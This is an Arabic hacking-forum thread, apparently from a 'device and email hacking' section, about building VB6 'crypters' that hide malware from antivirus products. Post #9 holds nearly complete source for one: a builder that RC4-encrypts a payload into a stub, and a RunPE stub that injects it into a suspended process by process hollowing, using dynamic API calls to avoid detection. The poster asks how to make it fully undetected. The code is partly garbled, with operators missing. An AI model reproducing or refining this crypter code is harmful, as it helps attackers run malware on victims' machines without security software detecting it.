Follow us on Twitter Follow us on Facebook Watch us on YouTube





العودة   development-point > [ أقســـام إختراق و حماية الأجهزة ] > قسم إختراق الأجـهـزه والأيـمـيـلات


إضافة رد
 
أدوات الموضوع انواع عرض الموضوع
قديم منذ /01-24-2013, 06:13 PM   #1
CrazyDZ
Very Excellent

الصورة الرمزية CrazyDZ

CrazyDZ غير متواجد حالياً

 رقم العضوية : 494
 تاريخ التسجيل : Jan 2013
 العمر : 27
 الجنس : ~ ذكر
 البلد : Linux
 المشاركات : 175
 إهتمامك : Encryption
 النقاط : 53
 قوة التقييم : CrazyDZ will become famous soon enough

شكراً: 0
تم شكره 0 مرة في 0 مشاركة
افتراضي رد: هنا أستفسارات تشفير vb6 نقاش لتخطى حمايات نقط ضعفها كل شئ هنا

السلام عليكم و رحمة الله و بركاته

المشكل الوحيد بالتشفير بالفيجوال هو قلة أكواد الرانبي و الهاكس الي بايت

حتي أصبحنا نعتمد علي برانج الضغط فقط للتشفير بالــــ vb6






  رد مع اقتباس
قديم منذ /01-25-2013, 03:00 AM   #2
.ılı.мя●Gh●ŠŦ.ılı.
Very Excellent

الصورة الرمزية .ılı.мя●Gh●ŠŦ.ılı.

.ılı.мя●Gh●ŠŦ.ılı. غير متواجد حالياً

 رقم العضوية : 236
 تاريخ التسجيل : Dec 2012
 العمر : 30
 الجنس : ~ ذكر
 المشاركات : 130
 النقاط : 70
 قوة التقييم : .ılı.мя●Gh●ŠŦ.ılı. will become famous soon enough

شكراً: 0
تم شكره مرة واحدة في مشاركة واحدة
افتراضي رد: هنا أستفسارات تشفير vb6 نقاش لتخطى حمايات نقط ضعفها كل شئ هنا

المشاركة الأصلية كتبت بواسطة CrazyDZ مشاهدة المشاركة
السلام عليكم و رحمة الله و بركاته

المشكل الوحيد بالتشفير بالفيجوال هو قلة أكواد الرانبي و الهاكس الي بايت

حتي أصبحنا نعتمد علي برانج الضغط فقط للتشفير بالــــ vb6
لا حبيبى مش هيك المشكله ان كل شروحات ادوات ضغط الران بى كتابته متاشبه بنسبه كبيره فى الجميع لاكن يختلف الاستدعاء فى api
call api by name
call api by hash
والخ
لاكن اى ران بى بيكون مشفر من كل حمايات الا افيرا لانه يعتمد فى تحليله على Call api In Runpe






  رد مع اقتباس
قديم منذ /01-25-2013, 04:27 PM   #3
CrazyDZ
Very Excellent

الصورة الرمزية CrazyDZ

CrazyDZ غير متواجد حالياً

 رقم العضوية : 494
 تاريخ التسجيل : Jan 2013
 العمر : 27
 الجنس : ~ ذكر
 البلد : Linux
 المشاركات : 175
 إهتمامك : Encryption
 النقاط : 53
 قوة التقييم : CrazyDZ will become famous soon enough

شكراً: 0
تم شكره 0 مرة في 0 مشاركة
افتراضي رد: هنا أستفسارات تشفير vb6 نقاش لتخطى حمايات نقط ضعفها كل شئ هنا

المشاركة الأصلية كتبت بواسطة .ılı.мя●Gh●ŠŦ.ılı. مشاهدة المشاركة
لا حبيبى مش هيك المشكله ان كل شروحات ادوات ضغط الران بى كتابته متاشبه بنسبه كبيره فى الجميع لاكن يختلف الاستدعاء فى api
call api by name
call api by hash
والخ
لاكن اى ران بى بيكون مشفر من كل حمايات الا افيرا لانه يعتمد فى تحليله على Call api In Runpe
شكراا GHost






  رد مع اقتباس
قديم منذ /12-30-2012, 03:20 PM   #4
Dz CrOw
Ŧħě ǷᶙИisĦeЯ

الصورة الرمزية Dz CrOw

Dz CrOw غير متواجد حالياً

 رقم العضوية : 344
 تاريخ التسجيل : Dec 2012
 العمر : 27
 الجنس : ~ ذكر
 البلد : في دارنا وين تحبني مالا!
 المشاركات : 81
 إهتمامك : نهتم بروحي وبحاسوبي
 النقاط : 12
 قوة التقييم : Dz CrOw is on a distinguished road

شكراً: 1
تم شكره مرة واحدة في مشاركة واحدة
افتراضي رد: هنا أستفسارات تشفير vb6 نقاش لتخطى حمايات نقط ضعفها كل شئ هنا

شكرا أخي وبإنتظارك






  رد مع اقتباس
قديم منذ /12-30-2012, 03:21 PM   #5
Dz CrOw
Ŧħě ǷᶙИisĦeЯ

الصورة الرمزية Dz CrOw

Dz CrOw غير متواجد حالياً

 رقم العضوية : 344
 تاريخ التسجيل : Dec 2012
 العمر : 27
 الجنس : ~ ذكر
 البلد : في دارنا وين تحبني مالا!
 المشاركات : 81
 إهتمامك : نهتم بروحي وبحاسوبي
 النقاط : 12
 قوة التقييم : Dz CrOw is on a distinguished road

شكراً: 1
تم شكره مرة واحدة في مشاركة واحدة
افتراضي رد: هنا أستفسارات تشفير vb6 نقاش لتخطى حمايات نقط ضعفها كل شئ هنا

أخي إستفسار هذا الدرس في ############### يحتاج السرفر نت فروم وررك ،؟؟

###############







التعديل الأخير تم بواسطة Admin ; 01-02-2013 الساعة 09:30 PM
  رد مع اقتباس
قديم منذ /12-30-2012, 05:29 PM   #6
.ılı.мя●Gh●ŠŦ.ılı.
Very Excellent

الصورة الرمزية .ılı.мя●Gh●ŠŦ.ılı.

.ılı.мя●Gh●ŠŦ.ılı. غير متواجد حالياً

 رقم العضوية : 236
 تاريخ التسجيل : Dec 2012
 العمر : 30
 الجنس : ~ ذكر
 المشاركات : 130
 النقاط : 70
 قوة التقييم : .ılı.мя●Gh●ŠŦ.ılı. will become famous soon enough

شكراً: 0
تم شكره مرة واحدة في مشاركة واحدة
افتراضي رد: هنا أستفسارات تشفير vb6 نقاش لتخطى حمايات نقط ضعفها كل شئ هنا

المشاركة الأصلية كتبت بواسطة Dz CrOw مشاهدة المشاركة
أخي إستفسار هذا الدرس في ############### يحتاج السرفر نت فروم وررك ،؟؟
###############
عزيزى انت مخالف بوضعك رابط موقع اخر واامل ان لا تكرر ما فعلته مره اخرى ^_^
اما بخصوص النت فارم ورك فاكيد فاى استخدام لى vb.net يحتاج للفارم ورك







التعديل الأخير تم بواسطة Admin ; 01-02-2013 الساعة 09:30 PM
  رد مع اقتباس
قديم منذ /12-31-2012, 02:25 PM   #7
Dz CrOw
Ŧħě ǷᶙИisĦeЯ

الصورة الرمزية Dz CrOw

Dz CrOw غير متواجد حالياً

 رقم العضوية : 344
 تاريخ التسجيل : Dec 2012
 العمر : 27
 الجنس : ~ ذكر
 البلد : في دارنا وين تحبني مالا!
 المشاركات : 81
 إهتمامك : نهتم بروحي وبحاسوبي
 النقاط : 12
 قوة التقييم : Dz CrOw is on a distinguished road

شكراً: 1
تم شكره مرة واحدة في مشاركة واحدة
افتراضي رد: هنا أستفسارات تشفير vb6 نقاش لتخطى حمايات نقط ضعفها كل شئ هنا

آسف لن يتكرر






  رد مع اقتباس
قديم منذ /01-13-2013, 08:55 PM   #8
H3cKeR TenD3
Creator

الصورة الرمزية H3cKeR TenD3

H3cKeR TenD3 غير متواجد حالياً

 رقم العضوية : 423
 تاريخ التسجيل : Jan 2013
 العمر : 31
 الجنس : ~ ذكر
 المشاركات : 46
 النقاط : 10
 قوة التقييم : H3cKeR TenD3 is on a distinguished road

شكراً: 0
تم شكره 0 مرة في 0 مشاركة
افتراضي رد: هنا أستفسارات تشفير vb6 نقاش لتخطى حمايات نقط ضعفها كل شئ هنا

مرحباً كوست

عندي سؤال

ما هي خوارزمية eof
+
ممكن شوي شرح عن الكود الذي يكتب في الستب

وشكراً






  رد مع اقتباس
قديم منذ /01-13-2013, 09:07 PM   #9
H3cKeR TenD3
Creator

الصورة الرمزية H3cKeR TenD3

H3cKeR TenD3 غير متواجد حالياً

 رقم العضوية : 423
 تاريخ التسجيل : Jan 2013
 العمر : 31
 الجنس : ~ ذكر
 المشاركات : 46
 النقاط : 10
 قوة التقييم : H3cKeR TenD3 is on a distinguished road

شكراً: 0
تم شكره 0 مرة في 0 مشاركة
افتراضي رد: هنا أستفسارات تشفير vb6 نقاش لتخطى حمايات نقط ضعفها كل شئ هنا

ولو ازعجتك

لكن لدي استفسار

صممت برنامج تشفير

ووضعت الازرار

وضعت في زر Crypt
هذا الكود
كود PHP:
Dim sInfo As String
Dim res 
As String
Dim sRes
() As Byte
Dim sFile 
As Long
Dim TheEOF 
As String

sFile 
FreeFile
sRes
() = LoadResData("EXE""CUSTOM")
If 
Text1.Text "" Then
MsgBox 
"Please select a file First"vbCritical"Error"
Exit Sub
Else
End If
If 
Check1.Value Checked Then
TheEOF 
ReadEOFData(txtFile.Text)
Else
End If

Open App.Path "/Res.exe" For Binary Access Write As #sFile
Put #sFile, , sRes()
Close #sFile
Open App.Path "/Res.exe" For Binary Access Read As #1
res Input(LOF(1), 1)
Close #1
res res "XXXXX"
Open Text1.Text For Binary Access Read As #1
sInfo sInfo Input(LOF(1), 1)
Close #1
    
sInfo RC4_String(sInfo"AAAAA")
CommonDialog1.DialogTitle "Select Saving Place"
CommonDialog1.DefaultExt "exe"
CommonDialog1.Filter "Executables (*.exe)|*.exe|All Files (*.*)|*.*"
CommonDialog1.ShowSave

Open CommonDialog1
.FileName For Binary Access Write As #1
Put #1, 1, res & sInfo
Close #1
sInfo ""
If Check3.Value Checked Then
Call RealignPEFromFile
(txtFile.Text)
Else
End If
xpProgressBar1.Value xpProgressBar1.Value 10
xpProgressBar1
.Value xpProgressBar1.Value 15
Kill App
.Path "/Res.exe"
If Check1.Value Checked Then
Call WriteEOFData
(CommonDialog1.FileNameTheEOF)
End If
xpProgressBar1.Value xpProgressBar1.Value 15
xpProgressBar1
.Value xpProgressBar1.Value 10
If Check4.Value 1 Then
Call ReplaceIcons
(Text3.TextText1.TextvbNullString)
Else
End If
xpProgressBar1.Value xpProgressBar1.Value 25
xpProgressBar1
.Value xpProgressBar1.Value 25
xpProgressBar1
.Value 100
MsgBox 
"Finished !!"vbInformation"TenD3 
"

ووضعت في الستب

موديل 1
كود PHP:

Private Sub Main()
On Error Resume Next

Static Control As String
Open App
.Path "\" & App.EXEName & ".exe" For Binary Access Read As #1
Control = Input(LOF(1), 1)
Close #1

Control = Mid(Control, InStr(Control, "
XXXXX") + 5, Len(Control))
Control = RC4_String(Control, "
AAAAA")
PE App.Path + "
\" + App.EXEName, STRING_TO_BYTES(Control)
End Sub 
موديل 2
كود PHP:
Option Explicit
Private As Integer
Private As Integer
Private As Integer
Private As Byte
Private As Byte
Dim M 
As Integer
Private As Long
Private RC4KEY(255) As Byte
Private ADDTABLE(255255) As Byte
Dim STATE
(0 To 255) As Byte

Private Sub FILL_LINEAR()
    
Dim bCONST(0 To 255) As Byte
    
For 0 To 255
        bCONST
(M) = M
        STATE
(M) = bCONST(M)
    
Next M
End Sub

Public Sub RC4(BYTEARRAY() As ByteOptional PASSWORD As String)
  If 
PASSWORD <> "" Then PREPARE_KEY PASSWORD
  
For 0 To UBound(BYTEARRAY)
    
ADDTABLE(i1)
    
ADDTABLE(jSTATE(i))
    
STATE(i): STATE(i) = STATE(j): STATE(j) = a
    B 
STATE(ADDTABLE(STATE(i), STATE(j)))
    
BYTEARRAY(L) = BYTEARRAY(L) Xor B
  Next L
End Sub

Private Sub PREPARE_KEY(sKEY As String)
  
INITIALIZE_ADDTABLE
  FILL_LINEAR
  k 
Len(sKEY)
  For 
0 To k 1
    B 
Asc(Mid$(sKEY11))
    For 
i To 255 Step k
      RC4KEY
(j) = B
    Next j
  Next i
  j 
0
  
For 0 To 255
    k 
ADDTABLE(STATE(i), RC4KEY(i))
    
ADDTABLE(jk)
    
STATE(i): STATE(i) = STATE(j): STATE(j) = B
  Next i
  i 
0
  j 
0
End Sub

Private Sub INITIALIZE_ADDTABLE()
  Static 
BeenHereDoneThat As Boolean
  
If BeenHereDoneThat Then Exit Sub
  
For 0 To 255
    
For 0 To 255
      ADDTABLE
(ij) = CByte((j) And 255)
    
Next i
  Next j
  BeenHereDoneThat 
True
End Sub

Public Function STRING_TO_BYTES(sString As String) As Byte()
  
STRING_TO_BYTES StrConv(sStringvbFromUnicode)
End Function

Public Function 
BYTES_TO_STRING(bBytes() As Byte) As String
  BYTES_TO_STRING 
bBytes
  BYTES_TO_STRING 
StrConv(BYTES_TO_STRINGvbUnicode)
End Function

Public Function 
RC4_String(InputStr As StringPasswordStr As String) As String
Dim tmpByte
() As Byte
tmpByte 
STRING_TO_BYTES(InputStr)
RC4 tmpBytePasswordStr
RC4_String 
BYTES_TO_STRING(tmpByte)
End Function 
موديل 3
كود PHP:
Private Const CONTEXT_FULL              As Long = &H10007
Private Const MAX_PATH                  As Integer 260
Private Const CREATE_SUSPENDED          As Long = &H4
Private Const MEM_COMMIT                As Long = &H1000
Private Const MEM_RESERVE               As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE    As Long = &H40

Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As StringByVal lpCommandLine As StringByVal lpProcessAttributes As LongByVal lpThreadAttributes As LongByVal bInheritHandles As LongByVal dwCreationFlags As LongByVal lpEnvironment As LongByVal lpCurrentDirectory As LonglpStartupInfo As STARTUPINFOlpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As LonglpBaseAddress As AnybvBuff As AnyByVal nSize As LonglpNumberOfBytesWritten As Long) As Long

Declare Sub RtlMoveMemory Lib "kernel32" (dest As Anysrc As AnyByVal L As Long)
Declare Function 
CallWindowProcA Lib "user32" (ByVal addr As LongByVal p1 As LongByVal p2 As LongByVal p3 As LongByVal p4 As Long) As Long
Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As LongByVal lpProcName As String) As Long
Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Private Type SECURITY_ATTRIBUTES
    nLength 
As Long
    lpSecurityDescriptor 
As Long
    bInheritHandle 
As Long
End Type


Private Type STARTUPINFO
    cb 
As Long
    lpReserved 
As Long
    lpDesktop 
As Long
    lpTitle 
As Long
    dwX 
As Long
    dwY 
As Long
    dwXSize 
As Long
    dwYSize 
As Long
    dwXCountChars 
As Long
    dwYCountChars 
As Long
    dwFillAttribute 
As Long
    dwFlags 
As Long
    wShowWindow 
As Integer
    cbReserved2 
As Integer
    lpReserved2 
As Long
    hStdInput 
As Long
    hStdOutput 
As Long
    hStdError 
As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess 
As Long
    hThread 
As Long
    dwProcessID 
As Long
    dwThreadID 
As Long
End Type

Private Type FLOATING_SAVE_AREA
    ControlWord 
As Long
    StatusWord 
As Long
    TagWord 
As Long
    ErrorOffset 
As Long
    ErrorSelector 
As Long
    DataOffset 
As Long
    DataSelector 
As Long
    RegisterArea
(1 To 80) As Byte
    Cr0NpxState 
As Long
End Type

Private Type CONTEXT
    ContextFlags 
As Long

    Dr0 
As Long
    Dr1 
As Long
    Dr2 
As Long
    Dr3 
As Long
    Dr6 
As Long
    Dr7 
As Long

    FloatSave 
As FLOATING_SAVE_AREA
    SegGs 
As Long
    SegFs 
As Long
    SegEs 
As Long
    SegDs 
As Long
    Edi 
As Long
    Esi 
As Long
    Ebx 
As Long
    Edx 
As Long
    Ecx 
As Long
    Eax 
As Long
    Ebp 
As Long
    Eip 
As Long
    SegCs 
As Long
    EFlags 
As Long
    Esp 
As Long
    SegSs 
As Long
End Type

Private Type IMAGE_DOS_HEADER
    e_magic 
As Integer
    e_cblp 
As Integer
    e_cp 
As Integer
    e_crlc 
As Integer
    e_cparhdr 
As Integer
    e_minalloc 
As Integer
    e_maxalloc 
As Integer
    e_ss 
As Integer
    e_sp 
As Integer
    e_csum 
As Integer
    e_ip 
As Integer
    e_cs 
As Integer
    e_lfarlc 
As Integer
    e_ovno 
As Integer
    e_res
(0 To 3) As Integer
    e_oemid 
As Integer
    e_oeminfo 
As Integer
    e_res2
(0 To 9) As Integer
    e_lfanew 
As Long
End Type

Private Type IMAGE_SECTION_HEADER
    SecName 
As String 8
    VirtualSize 
As Long
    VirtualAddress  
As Long
    SizeOfRawData 
As Long
    PointerToRawData 
As Long
    PointerToRelocations 
As Long
    PointerToLinenumbers 
As Long
    NumberOfRelocations 
As Integer
    NumberOfLinenumbers 
As Integer
    characteristics  
As Long
End Type

Private Type IMAGE_DATA_DIRECTORY
    VirtualAddress 
As Long
    Size 
As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
    Magic 
As Integer
    MajorLinkerVersion 
As Byte
    MinorLinkerVersion 
As Byte
    SizeOfCode 
As Long
    SizeOfInitializedData 
As Long
    SizeOfUnitializedData 
As Long
    AddressOfEntryPoint 
As Long
    BaseOfCode 
As Long
    BaseOfData 
As Long
    
' NT additional fields.
    ImageBase As Long
    SectionAlignment As Long
    FileAlignment As Long
    MajorOperatingSystemVersion As Integer
    MinorOperatingSystemVersion As Integer
    MajorImageVersion As Integer
    MinorImageVersion As Integer
    MajorSubsystemVersion As Integer
    MinorSubsystemVersion As Integer
    W32VersionValue As Long
    SizeOfImage As Long
    SizeOfHeaders As Long
    CheckSum As Long
    SubSystem As Integer
    DllCharacteristics As Integer
    SizeOfStackReserve As Long
    SizeOfStackCommit As Long
    SizeOfHeapReserve As Long
    SizeOfHeapCommit As Long
    LoaderFlags As Long
    NumberOfRvaAndSizes As Long
    DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type



Private Type IMAGE_FILE_HEADER
    Machine As Integer
    NumberOfSections As Integer
    TimeDateStamp As Long
    PointerToSymbolTable As Long
    NumberOfSymbols As Long
    SizeOfOptionalHeader As Integer
    characteristics As Integer
End Type

Private Type IMAGE_NT_HEADERS
    Signature As Long
    FileHeader As IMAGE_FILE_HEADER
    OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type
Public Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
    Dim bvASM(64)   As Byte '
enought to hold code 10 params
    Dim i           
As Long
    Dim lPos        
As Long
    Dim sVal        
As String

    bvASM
(0) = &H58bvASM(1) = &H59bvASM(2) = &H59
    bvASM
(3) = &H59bvASM(4) = &H59bvASM(5) = &H50
   
    lPos 
6
   
    
For UBound(ParamsTo 0 Step -1
        bvASM
(lPos) = &H68lPos lPos 1
        sVal 
= (Params(i)): GoSub PutLonglPos lPos 4
    Next
   
    bvASM
(lPos) = &HE8lPos lPos 1
    sVal 
GetProcAddress(LoadLibraryA(sLib), sMod) - VarPtr(bvASM(lPos)) - 4
    GoSub PutLong
lPos lPos 4
    bvASM
(lPos) = &HC3
    CallApiByName 
CallWindowProcA(VarPtr(bvASM(0)), 0000)
   
    Exit Function
PutLong:
    
'This is cheap replacement for RtlMoveMemory/putmem4 (hi/lo word/byte)
    sVal = Right$(String(8, "0") & Hex(sVal), 8)
    bvASM(lPos + 0) = ("&h" & Mid$(sVal, 7, 2))
    bvASM(lPos + 1) = ("&h" & Mid$(sVal, 5, 2))
    bvASM(lPos + 2) = ("&h" & Mid$(sVal, 3, 2))
    bvASM(lPos + 3) = ("&h" & Mid$(sVal, 1, 2))
    Return
End Function
Public Function PE(szProcessName As String, lpBuffer() As Byte)
On Error Resume Next
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT
Dim i As Long

    Si.cb = Len(Si)
    Ctx.ContextFlags = CONTEXT_FULL

    Call CallApiByName("kernel32", "RtlMoveMemory", VarPtr(Pidh), VarPtr(lpBuffer(0)), Len(Pidh))
    Call CallApiByName("kernel32", "RtlMoveMemory", VarPtr(Pinh), VarPtr(lpBuffer(Pidh.e_lfanew)), Len(Pinh))
    Call CallApiByName("kernel32", "CreateProcessW", 0, StrPtr(szProcessName), 0, 0, 0, CREATE_SUSPENDED, 0, 0, VarPtr(Si), VarPtr(Pi))
  
    Call CallApiByName("ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase)
    Call CallApiByName("kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    Call CallApiByName("kernel32", "WriteProcessMemory", Pi.hProcess, Pinh.OptionalHeader.ImageBase, VarPtr(lpBuffer(0)), Pinh.OptionalHeader.SizeOfHeaders, 0)

For i = 0 To Pinh.FileHeader.NumberOfSections - 1
    RtlMoveMemory Pish, lpBuffer(Pidh.e_lfanew + Len(Pinh) + Len(Pish) * i), Len(Pish)
    Call CallApiByName("kernel32", "WriteProcessMemory", Pi.hProcess, Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, VarPtr(lpBuffer(Pish.PointerToRawData)), Pish.SizeOfRawData, 0)
Next
    Call CallApiByName("kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx))
    Call CallApiByName("kernel32", "WriteProcessMemory", Pi.hProcess, Ctx.Ebx + 8, VarPtr(Pinh.OptionalHeader.ImageBase), 4, 0)
    Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
    Call CallApiByName("kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx))
    Call CallApiByName("kernel32", "ResumeThread", Pi.hThread)

End Function

Private Function Protect(ByVal characteristics As Long) As Long
   Dim mapping As Variant
   mapping = Array(PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _
                   PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _
                   PAGE_READWRITE, PAGE_EXECUTE_READWRITE)
   Protect = mapping(RShift(characteristics, 29))
End Function

Private Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long
    RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift)
End Function

Private Function vbLongToULong(ByVal Value As Long) As Double
    If Value < 0 Then
        vbLongToULong = Value + OFFSET_4
    Else
        vbLongToULong = Value
    End If
End Function 

والسيرفر بعد التشفير مكشوف من كل الحمايات
اذا اردت تشفير الستب
فما الطريقه الصحيحه
وشكرا






  رد مع اقتباس
قديم منذ /01-13-2013, 11:37 PM   #10
سآرة
.:: إدارية الأقـسـام العامـة ::.

الصورة الرمزية سآرة

سآرة غير متواجد حالياً

 رقم العضوية : 16
 تاريخ التسجيل : Oct 2012
 الجنس : ~ إنثى
 البلد : مصر
 المشاركات : 392
 النقاط : 75
 قوة التقييم : سآرة will become famous soon enough

شكراً: 13
تم شكره 6 مرة في 6 مشاركة
افتراضي رد: هنا أستفسارات تشفير vb6 نقاش لتخطى حمايات نقط ضعفها كل شئ هنا

ان شاء الله سوف يدخل اخونا مستر جوهست ويرد على استفسارتكم
انا لا يوجد لدي استفسار حاليا
سوف اسئل بعد الاجابة عن السؤلين السابقين






  رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

جديد قسم إختراق الأجـهـزه والأيـمـيـلات


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه للموضوع: هنا أستفسارات تشفير vb6 نقاش لتخطى حمايات نقط ضعفها كل شئ هنا
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
تشفير كل حمايات العالم clean بالمعنى التام للكلمه وانتهاء السلسله .ılı.мя●Gh●ŠŦ.ılı. قسم إختراق الأجـهـزه والأيـمـيـلات 7 01-23-2013 05:32 AM
تكمله سلسله تخطى حمايات برمجيا و التشفير كلين vb6 .ılı.мя●Gh●ŠŦ.ılı. قسم إختراق الأجـهـزه والأيـمـيـلات 2 01-21-2013 07:04 AM
[ طريقة ] تغير اي صورة الى ايقونة عالية الدقة بدون برامج ودعس حمايات من اهمهم لافــــــــــ ‏windows 8 الأرشيف 0 11-08-2012 11:30 PM
[ نقاش ] تحدي مره اخرى لتخطي قيمة TR/Crypt.XPACK.Gen بالهكس ‏windows 8 الأرشيف 0 11-05-2012 06:51 PM
[ نقاش ] كيفية عمل برنامج تشفير بخواص جديدة | بخوارزميات جديده | vb.net | لكل محترفي التشفير و البرم aaqassam الأرشيف 0 10-31-2012 02:44 PM


الساعة الآن 11:58 PM

 



Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
development-point